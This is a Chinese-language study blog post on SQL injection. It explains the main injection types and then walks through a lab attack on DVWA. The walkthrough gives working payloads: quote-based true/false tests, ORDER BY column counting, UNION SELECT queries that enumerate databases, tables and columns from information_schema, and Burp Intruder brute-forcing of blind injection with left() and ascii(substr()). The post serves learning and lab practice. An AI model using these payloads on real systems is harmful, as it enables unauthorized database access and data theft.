记sql注入学习过程

sql注入学习过程

一、什么是SQL注入?

 SQL注入(SQL)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
 SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

二、SQL注入攻击的类型

SQL注入攻击可以通过多种方式执行。在选择特定攻击方法之前,攻击者可能会观察系统的行为。

带内注入

这是典型的攻击,攻击者可以通过相同的通信通道发起攻击并获得结果。这是通过两种带内技术完成的:

● 基于错误的SQL注入:从显示的错误消息中获取有关数据库的信息

● 基于联合的SQL注入:依赖于攻击者能够将UNION ALL被盗信息的结果与合法结果连接起来。

这两种技术都依赖于攻击者修改应用程序发送的SQL,以及浏览器中显示的错误和返回的信息。如果应用程序开发人员或数据库开发人员无法正确地参数化他们在查询中使用的值,那么它会成功。两者都是试错法,可以检测到错误。

盲注入

也称为推理SQL注入,盲注入攻击不会直接从目标数据库中显示数据;相反,攻击者会仔细检查行为中的间接线索。HTTP响应中的详细信息,某些用户输入的空白网页以及数据库响应某些用户输入需要多长时间,这些都可以是线索,具体取决于攻击者的目标。他们还可以指向攻击者尝试的另一个SQLi攻击途径。

带外注入

这种攻击有点复杂,当攻击者无法在单个直接查询 - 响应攻击中实现其目标时,攻击者可能会使用此攻击。通常,攻击者会制作SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二阶注入就是一种带外注入攻击。在这种情况下,攻击者将提供SQL注入,该注入将由数据库系统的单独行为存储和执行。当二级系统行为发生时(它可能类似于基于时间的作业或由其他典型管理员或用户使用数据库触发的某些事情)并且执行攻击者的SQL注入,那就是当“伸出”到系统时攻击者控制发生了。

三、sql注入点的判断

1.构建payload测试是否存在注入漏洞

1‘ and 1 ='1              1’ and 1=’2
1“ and 1 =”1	          1“ and 1=”2
1  and 1 = 1              1  and 1= 2

1>尝试是否存在 ‘ 注入漏洞
1’ and 1='1 #得到结果为真//预期真
在这里插入图片描述
1’ and 1=’2 #结果为假//预期假
在这里插入图片描述
可已得到所得结果为预期结果,所以可以得出存在 ‘ 注入漏洞

2>尝试是否存在 “ 注入漏洞
1“ and 1=”1 #得到结果为真//预期真
在这里插入图片描述
1” and 1=”2 #得到结果为真//预期假
在这里插入图片描述

2.考虑到 union 联合查找需要内部的select语句查询的列数相同,通过order by 判断现有查询的列数。

构建一个payload 1‘ order by 5#
其中 5 为假设现有查询的列数,当5大于列数时会报错,当5小于等于列数时会返回真结果。

1‘ order by 5# 报错,5大于了列数,折半查找,尝试一下3

在这里插入图片描述

1‘ order by 3# 报错,3大于列数,尝试2

在这里插入图片描述

1‘ order by 2# 返回真,说明是2列

在这里插入图片描述

3.确定列数,使用union查询所有数据库名

1’ union select 1,SCHEMA_NAME from information_schema.SCHEMATA#

在这里插入图片描述可以得到存在5个数据库:admin、information_schema、dvwa、mysql、performance_schema
其中以下3个库为默认存在的库:information_schema、mysql、performance_schema

4.根据第3步,尝试查询dvwa库

1’ union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dvwa‘#

在这里插入图片描述
可以得到dvwa库中存在4个数据表:admin、Fl4g、guestbook、users

5.根据第4步,尝试查询dvwa库中的 Fl4g 表

1’ union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=‘dvwa‘ and TABLE_NAME=‘Fl4g‘#

在这里插入图片描述
可以查到Fl4g中存在3条数据

6.直接查询f1a9这条数据

1’ union select 1,f1a9 from dvwa.Fl4g#

在这里插入图片描述
得到falg

sql盲注

没有回显,无数据显示
通过真假返回想要的结果

1、payload:1 and 1 = 1

在这里插入图片描述

1 and 1= 2

在这里插入图片描述

2、利用sql中left命令来逐一测试字符

select left(“HelloWorld”,1)=‘k’ //HelloWorld这个字符串中前1个字符是否等于k
select left(“HelloWorld”,2)=‘ke’ //HelloWorld这个字符串中前2个字符是否等于ke

利用dvwa来进行测试

第一步

通过burpsuite抓取dvwa的数据包,分析history找到想要的数据包,并发送到intruder模块中

第二步

1.clear 2.确定参数-id 3.写payload-URL编码(ctrl+u) 4.确定爆破payload的哪一位,添加爆破范围构建payload

1' and left(database(),1)='a'%23

放到burp中的id的字段(ctrl+u 快捷编码)
选中a为参数 add,进行爆破,猜这个字段名的第一位字母
在这里插入图片描述

第三步

设置爆破的payload:1.手动构造字典2.使用 brute forcer
在这里插入图片描述
更改最长,最短字符为1(min length和max length选项改为1)
在这里插入图片描述
爆破出来第一个字母为b后修改payload
在这里插入图片描述

1’ and left(database(),1)=’ba’%23

选中a为参数,进行爆破,猜这个字段名的第二位字母
在这里插入图片描述
开始爆破
在这里插入图片描述

1' and left(([sql语句]),1)='c'#
[sql语句] = select SCHEMA_NAME from information_schema.SCHEMATA
例如:1’ and left((select f1a9 from Fl4g),1)=’c’#

1.不区分大小写。ascii() 将自读转化为ASCII码 substr(字符串,第几位开始,截取几位)
可以用 asci(substr(“hello”,1,1))=46 //在爆破时 32-126 就包含了所有字符
替代 left(“hello”,1)=”h”
使用asci(substr(“hello”,1,1))=46 时可以选择这两个为爆破参数,并将burp的attack type改为cluster bomb,分别对每一位进行爆破,前一个参数为爆破的第几位,第二个参数为当前爆破的字符的ASCII码。
2.不去获取长度。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值